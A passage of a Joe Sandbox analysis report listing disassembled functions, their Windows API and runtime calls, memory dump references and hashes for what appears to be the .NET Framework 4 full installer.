                    • GetLastError.KERNEL32(?,80000000,00000007,00000003,08000080,00000000,?,?,?,?,00AD60C2,?,?,00000000,00000000), ref: 00AD9D29
                    • GetProcessHeap.KERNEL32(00000008,00000010,?,80000000,00000007,00000003,08000080,00000000,?,?,?,?,00AD60C2,?,?,00000000), ref: 00AD9D52
                    • HeapAlloc.KERNEL32(00000000,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00AD9D59
                    • CloseHandle.KERNEL32(000000FF,?,?,00AD60C2,?,?,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00AD9DB2
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocCloseCreateErrorFileHandleLastProcess
                    • String ID:
                    • API String ID: 3300431839-0
                    • Opcode ID: b9d9193a6edeb9437230936553c956ff13268291887321af553b96bae7eb0ea2
                    • Instruction ID: 8a8771f8946b3de64b8fc7d4cd1ed030b4bd804177cb7112d95cca01b2ae686a
                    • Opcode Fuzzy Hash: b9d9193a6edeb9437230936553c956ff13268291887321af553b96bae7eb0ea2
                    • Instruction Fuzzy Hash: 3311D532901625BBD7215BA89C0579EBA619F44770F224323EDA7AB3D0DB74CE018690
                    Function 00AF36DB Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON
                    Download Yara Rule
                    APIs
                    • __getptd_noexit.LIBCMT ref: 00AF36E0
                      • Part of subcall function 00AEA6D5: GetLastError.KERNEL32(00000001,00000000,00AEB05E,00AECE3E,00000000,?,00AEDBEB,?,00000001,?,?,00AED143,00000018,00AF6FA0,0000000C,00AED1D8), ref: 00AEA6D9
                      • Part of subcall function 00AEA6D5: ___set_flsgetvalue.LIBCMT ref: 00AEA6E7
                      • Part of subcall function 00AEA6D5: __calloc_crt.LIBCMT ref: 00AEA6FB
                      • Part of subcall function 00AEA6D5: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(00000000,?,00AEDBEB,?,00000001,?,?,00AED143,00000018,00AF6FA0,0000000C,00AED1D8,?,?,?,00AEA803), ref: 00AEA715
                      • Part of subcall function 00AEA6D5: GetCurrentThreadId.KERNEL32 ref: 00AEA72B
                      • Part of subcall function 00AEA6D5: SetLastError.KERNEL32(00000000,?,00AEDBEB,?,00000001,?,?,00AED143,00000018,00AF6FA0,0000000C,00AED1D8,?,?,?,00AEA803), ref: 00AEA743
                    • __freeptd.LIBCMT ref: 00AF36EA
                      • Part of subcall function 00AEA8A6: TlsGetValue.KERNEL32(?,?,00AF36EF,00000000,?,00AF3720,00000000), ref: 00AEA8C7
                      • Part of subcall function 00AEA8A6: TlsGetValue.KERNEL32(?,?,00AF36EF,00000000,?,00AF3720,00000000), ref: 00AEA8D9
                      • Part of subcall function 00AEA8A6: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(00000000,?,00AF36EF,00000000,?,00AF3720,00000000), ref: 00AEA8EF
                      • Part of subcall function 00AEA8A6: __freefls@4.LIBCMT ref: 00AEA8FA
                      • Part of subcall function 00AEA8A6: TlsSetValue.KERNEL32(0000000E,00000000,?,00AF36EF,00000000,?,00AF3720,00000000), ref: 00AEA90C
                    • ExitThread.KERNEL32 ref: 00AF36F3
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Value$DecodeErrorInternal@4LastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
                    • String ID:
                    • API String ID: 68672458-0
                    • Opcode ID: 1eb5791661e4aa721f90f6aa79578904e76149c8438abb18da02d9d0944b578f
                    • Instruction ID: 22248dbf3da0cd91edbdbe4fb722b4401a1c5ad53b8a99149aae035eced018dc
                    • Opcode Fuzzy Hash: 1eb5791661e4aa721f90f6aa79578904e76149c8438abb18da02d9d0944b578f
                    • Instruction Fuzzy Hash: 62C08C310002887FCB503BB29E0AE1A3A0D8990350B044020B80882111EE60F9428065
                    Function 00ADD216 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 354COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch
                    • String ID: :mem
                    • API String ID: 3886170330-3579059629
                    • Opcode ID: f606b4c032c3a2c1dea7e5b9beacd9f5b72bff7e85b2882f7929b0fadfd6d1d4
                    • Instruction ID: 855792f0b3d9a6123d0ed72d07fca3acc65aa0ad80ef4070aa02ddac98edaf7e
                    • Opcode Fuzzy Hash: f606b4c032c3a2c1dea7e5b9beacd9f5b72bff7e85b2882f7929b0fadfd6d1d4
                    • Instruction Fuzzy Hash: F7E1B031900249DFCF11DFA4D984AEDB7B1AF05304F2485ABE9576B352D732AE06DB90
                    Function 00AE7EC4 Relevance: 3.8, APIs: 3, Instructions: 56COMMON
                    Download Yara Rule
                    APIs
                    • EnterCriticalSection.KERNEL32(00000000), ref: 00AE7EE9
                    • LeaveCriticalSection.KERNEL32(00000000), ref: 00AE7F09
                    • LeaveCriticalSection.KERNEL32(00000000), ref: 00AE7F29
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CriticalSection$Leave$Enter
                    • String ID:
                    • API String ID: 2978645861-0
                    • Opcode ID: 6e7594850745f379672af4d1593d8f33ec4313e426973d1ff5b19526100a171b
                    • Instruction ID: ea34957f093b70db87d5e0bc8a71183073e3dedacdb4c13d13c00b8bfb02e040
                    • Opcode Fuzzy Hash: 6e7594850745f379672af4d1593d8f33ec4313e426973d1ff5b19526100a171b
                    • Instruction Fuzzy Hash: FA113D75900305FFCB10DF99D844A9EBBB9FF48354F248459F51697250D770EA15CB50
                    Function 00ADF95E Relevance: 3.5, APIs: 2, Instructions: 504COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 00ADF965
                      • Part of subcall function 00AE2C43: __CxxThrowException@8.LIBCMT ref: 00AE2C6A
                      • Part of subcall function 00AE2C43: _memmove.LIBCMT ref: 00AE2CBB
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Exception@8H_prolog3Throw_memmove
                    • String ID:
                    • API String ID: 3426943727-0
                    • Opcode ID: b1cd8eed2d2ab271e2d21879a6b88200250c2f22dc1497f67c0863ca57c645f3
                    • Instruction ID: 134fa2acd66fe814146605cc1da88e436468a7cd2df09e0d756a45bf85846ad7
                    • Opcode Fuzzy Hash: b1cd8eed2d2ab271e2d21879a6b88200250c2f22dc1497f67c0863ca57c645f3
                    • Instruction Fuzzy Hash: A93222719083859FC730DF69C584B9AFBE4BF88304F14496EE58E8B352DB70A984CB52
                    Function 00ADA222 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 149stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenW.KERNEL32(?,00000000,00000000,?,?,00000000,000000FF), ref: 00ADA33B
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: lstrlen
                    • String ID: (
                    • API String ID: 1659193697-3887548279
                    • Opcode ID: 051c5958217a9414b8ef3a908048b50e97660e5a6a070234123c0f70905ed6d2
                    • Instruction ID: b24d8e1942f9daa014f607a45d3e710a6cfd06cb44d345fcc192dd0a8787a18b
                    • Opcode Fuzzy Hash: 051c5958217a9414b8ef3a908048b50e97660e5a6a070234123c0f70905ed6d2
                    • Instruction Fuzzy Hash: 27517336900215EFCB21DFA4C9856AEB7B2AF14350F15416BD817AF361DB30DE41DB92
                    Function 00ADB3F5 Relevance: 3.1, APIs: 2, Instructions: 55COMMON
                    Download Yara Rule
                    APIs
                    • SetFilePointer.KERNELBASE(?,?,00000000,?), ref: 00ADB443
                    • GetLastError.KERNEL32 ref: 00ADB452
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastPointer
                    • String ID:
                    • API String ID: 2976181284-0
                    • Opcode ID: 5a5bcc4d53170b002b126f6e9e14ad626a0de582b81f2439279ee09028721770
                    • Instruction ID: 3425c9ab87d7938a6f91299e4e891e6e05b460d9cb718b0f1fd215660a0de188
                    • Opcode Fuzzy Hash: 5a5bcc4d53170b002b126f6e9e14ad626a0de582b81f2439279ee09028721770
                    • Instruction Fuzzy Hash: C4119AB6610319DFCB10CFD9DC809A67765BB44338716423AEA26873A2C770DC16CBA0
                    Function 00ADB296 Relevance: 3.1, APIs: 2, Instructions: 54fileCOMMON
                    Download Yara Rule
                    APIs
                    • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00ADB2B9
                    • GetLastError.KERNEL32 ref: 00ADB2C6
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CreateErrorFileLast
                    • String ID:
                    • API String ID: 1214770103-0
                    • Opcode ID: 1f0353fe4918dd0c39a2a50b12c3b3a1dee86cb42bb654aeabbc25217257d40c
                    • Instruction ID: 5fe8a0ebbe6caeb2694dbab8778399aef66214d842d4ef789dd776b85320e7a4
                    • Opcode Fuzzy Hash: 1f0353fe4918dd0c39a2a50b12c3b3a1dee86cb42bb654aeabbc25217257d40c
                    • Instruction Fuzzy Hash: 3801C436A11124AFD3208B96DD04F663B68EB817B0F16471AFD169F3E2C720EC12C6E4
                    Function 00ADB390 Relevance: 3.0, APIs: 2, Instructions: 36fileCOMMON
                    Download Yara Rule
                    APIs
                    • WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00ADB3B0
                    • GetLastError.KERNEL32 ref: 00ADB3BA
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastWrite
                    • String ID:
                    • API String ID: 442123175-0
                    • Opcode ID: fa21a1f6c5426ce247084bd2febf74efca2c3e1b5cfff76aafa73b4b1e269520
                    • Instruction ID: 4fb362069e090047ac3d03691d3b6c71e34e6a021e31946b6fca1c76aa84c087
                    • Opcode Fuzzy Hash: fa21a1f6c5426ce247084bd2febf74efca2c3e1b5cfff76aafa73b4b1e269520
                    • Instruction Fuzzy Hash: CCF06232D11139EBCB11CBD4DD045AA7B64AF00B74B020265BD11EB251E370DD1197D0
                    Function 00ADB32B Relevance: 3.0, APIs: 2, Instructions: 36fileCOMMON
                    Download Yara Rule
                    APIs
                    • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00ADB34B
                    • GetLastError.KERNEL32 ref: 00ADB355
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastRead
                    • String ID:
                    • API String ID: 1948546556-0
                    • Opcode ID: 466e3070d8e0541c0dcba40f6eaeb60c4df0c8d394ce6712ca19850644295499
                    • Instruction ID: d66cf46090744212140cb6c2c8c0af63f2701638d5f34bda61cbd79c873a23e7
                    • Opcode Fuzzy Hash: 466e3070d8e0541c0dcba40f6eaeb60c4df0c8d394ce6712ca19850644295499
                    • Instruction Fuzzy Hash: 94F06D36D12179EBCB11CFD5DE049AE7B68AF007B4B024225AD12EB261D334DE21A6E0
                    Function 00AD9663 Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                    Download Yara Rule
                    APIs
                    • SetCurrentDirectoryW.KERNELBASE(00000000,00AD5E5F,00000000,?,?,00AD5E5F), ref: 00AD9682
                    • GetLastError.KERNEL32(?,?,00AD5E5F), ref: 00AD968C
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CurrentDirectoryErrorLast
                    • String ID:
                    • API String ID: 152501406-0
                    • Opcode ID: 169eaeb2d9e6d7d21af35adf283970f426c3d861d9e438b0902d1bc1d5afefbd
                    • Instruction ID: 99d473cb54ebce9b4d24add9934619b981dd6c96db8a1ae4716bc9dd32cc9ca7
                    • Opcode Fuzzy Hash: 169eaeb2d9e6d7d21af35adf283970f426c3d861d9e438b0902d1bc1d5afefbd
                    • Instruction Fuzzy Hash: 14F03033C01126ABDB219795CE19BDEBA649F00754F150266AE02B7250D735DF00A7D4
                    Function 00AD9B6A Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                    Download Yara Rule
                    APIs
                    • SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD9B82
                    • GetLastError.KERNEL32(?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00AD9B8C
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastPointer
                    • String ID:
                    • API String ID: 2976181284-0
                    • Opcode ID: 13dd7261f37394e23acea6b32c393f10b7dcb32b71fbb53b1c83282c474caed5
                    • Instruction ID: 0baf9da30086982b1014129178d05a977f7ef98d6b6c65e9b6515b451ce320a6
                    • Opcode Fuzzy Hash: 13dd7261f37394e23acea6b32c393f10b7dcb32b71fbb53b1c83282c474caed5
                    • Instruction Fuzzy Hash: 63E09A33500129BFAB209F81EC0AEAB3B9DEB003A0B10812AF919C6010E672DE1087E0
                    Function 00AF36FF Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                    Download Yara Rule
                    APIs
                    • __getptd.LIBCMT ref: 00AF370B
                      • Part of subcall function 00AEA753: __getptd_noexit.LIBCMT ref: 00AEA756
                      • Part of subcall function 00AEA753: __amsg_exit.LIBCMT ref: 00AEA763
                      • Part of subcall function 00AF36DB: __getptd_noexit.LIBCMT ref: 00AF36E0
                      • Part of subcall function 00AF36DB: __freeptd.LIBCMT ref: 00AF36EA
                      • Part of subcall function 00AF36DB: ExitThread.KERNEL32 ref: 00AF36F3
                    • __XcptFilter.LIBCMT ref: 00AF372C
                      • Part of subcall function 00AE9D0A: __getptd_noexit.LIBCMT ref: 00AE9D10
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
                    • String ID:
                    • API String ID: 418257734-0
                    • Opcode ID: fbe275609b74121becad6bed573dace3740a24fa6ca2d562d39c25ca05a4e5c0
                    • Instruction ID: bf5d21fc7729733b743a7fc4d1d8bc3df040e2fcaebef2c0f7b7df9b336c04ed
                    • Opcode Fuzzy Hash: fbe275609b74121becad6bed573dace3740a24fa6ca2d562d39c25ca05a4e5c0
                    • Instruction Fuzzy Hash: 9CE0ECB1940A44AFEB08FBA1CA5AE7E7775AF44301F204049F5029B2B2CA75A941DA21
                    Function 00ADB26E Relevance: 3.0, APIs: 2, Instructions: 14memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00ADB278
                    • RtlFreeHeap.NTDLL(00000000), ref: 00ADB27F
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$FreeProcess
                    • String ID:
                    • API String ID: 3859560861-0
                    • Opcode ID: 7e29ecd6121691e864df1ddb4181e422c69193d1abccb4e11f4bcb0311313293
                    • Instruction ID: ffb5e65424f71f207b965f5c8540fef21daf3ef468c23d46d8650500cdf4e664
                    • Opcode Fuzzy Hash: 7e29ecd6121691e864df1ddb4181e422c69193d1abccb4e11f4bcb0311313293
                    • Instruction Fuzzy Hash: 35C01237154208B7DB405BE1AC0CBE63B5CA780B52F041112F60B85110D622C8519650
                    Function 00ADB250 Relevance: 3.0, APIs: 2, Instructions: 10memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00ADB25A
                    • RtlAllocateHeap.NTDLL(00000000), ref: 00ADB261
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocateProcess
                    • String ID:
                    • API String ID: 1357844191-0
                    • Opcode ID: d1d4ab4e762f9b524554a9f00540742f6d3038f4cbc768fee40e04aaf8851b3e
                    • Instruction ID: 1a7cfd8fbb1bdfa90954a118e68cb4bd5b4afd44760401e24a9f65d5845fb6ed
                    • Opcode Fuzzy Hash: d1d4ab4e762f9b524554a9f00540742f6d3038f4cbc768fee40e04aaf8851b3e
                    • Instruction Fuzzy Hash: 24C09B36045248B7CF005BD1FC0DFC57F1DD785752F008112F71E86051DA7294118751
                    Function 00AE97F1 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • ___crtCorExitProcess.LIBCMT ref: 00AE97F9
                      • Part of subcall function 00AE97C1: GetModuleHandleW.KERNEL32(mscoree.dll,?,00AE97FE,?,?,00AECDE4,000000FF,0000001E,00000001,00000000,00000000,?,00AEDBEB,?,00000001,?), ref: 00AE97CB
                      • Part of subcall function 00AE97C1: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AE97DB
                    • ExitProcess.KERNEL32 ref: 00AE9802
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ExitProcess$AddressHandleModuleProc___crt
                    • String ID:
                    • API String ID: 2427264223-0
                    • Opcode ID: 7bf0d6cb5ebf704c41f07ec8bb45bd2d3cd9743f9a2114b5b21490f2b1ec9313
                    • Instruction ID: ef658789c80424d1c14df0b07848e6f3274d07605ca4df16af412691bd835c6d
                    • Opcode Fuzzy Hash: 7bf0d6cb5ebf704c41f07ec8bb45bd2d3cd9743f9a2114b5b21490f2b1ec9313
                    • Instruction Fuzzy Hash: FAB09231000248BBDB012F52EC4A84A3F2AEB817A1B208025F90909072DF72AD939A80
                    Function 00AD6463 Relevance: 2.5, APIs: 2, Instructions: 39memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD64A0
                    • HeapFree.KERNEL32(00000000,?,00AD5BF4), ref: 00AD64A7
                      • Part of subcall function 00AD9C21: DeleteFileW.KERNELBASE(00000000,?,00000000,00000000,00AFBEF0,?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C43
                      • Part of subcall function 00AD9C21: GetLastError.KERNEL32(?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C53
                      • Part of subcall function 00AD9C21: MoveFileExW.KERNEL32(00000000,00000000,00000004,?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C64
                      • Part of subcall function 00AD9C21: GetLastError.KERNEL32(?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C6E
                      • Part of subcall function 00AD8E6F: GetProcessHeap.KERNEL32(00000000,00000000,?,00AD85A8,00000000,00000000,?,?,00AD6E90,00000000), ref: 00AD8E79
                      • Part of subcall function 00AD8E6F: HeapFree.KERNEL32(00000000,?,00AD85A8,00000000,00000000,?,?,00AD6E90,00000000), ref: 00AD8E80
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
